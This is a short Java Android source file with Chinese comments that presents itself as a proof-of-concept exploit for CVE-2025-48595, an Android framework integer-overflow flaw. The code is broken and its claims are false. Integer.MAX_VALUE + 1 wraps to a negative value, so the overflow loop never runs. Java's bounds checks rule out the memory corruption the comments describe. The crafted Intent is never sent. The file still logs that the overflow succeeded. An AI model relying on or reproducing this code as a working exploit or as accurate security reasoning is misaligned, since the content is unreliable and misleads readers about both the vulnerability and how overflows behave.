// POC - CVE-2025-48595
// Android Framework Integer Overflow Vulnerability
// 用法：编译并在存在漏洞的 Android 设备上运行

package com.example.cve202548595;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends Activity {
    
    private static final String TAG = "CVE-2025-48595";
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // POC: 触发整数溢出
        triggerIntegerOverflow();
    }
    
    private void triggerIntegerOverflow() {
        try {
            // 导致溢出的值（超出预期边界）
            int maliciousValue = Integer.MAX_VALUE + 1;
            
            // 构造恶意 Intent
            android.content.Intent intent = new android.content.Intent();
            intent.putExtra("malicious_data", maliciousValue);
            
            // 强制进行溢出操作
            int result = processMaliciousData(maliciousValue);
            
            Log.i(TAG, "溢出成功触发");
            
        } catch (Exception e) {
            Log.e(TAG, "错误: " + e.getMessage());
        }
    }
    
    private int processMaliciousData(int value) {
        // 此处的溢出可能导致内存破坏
        int[] buffer = new int[1024];
        
        // 由于整数溢出，恶意值超出了缓冲区边界
        for (int i = 0; i < value; i++) {
            buffer[i] = i;  // 此行导致溢出
        }
        
        return buffer[0];
    }
}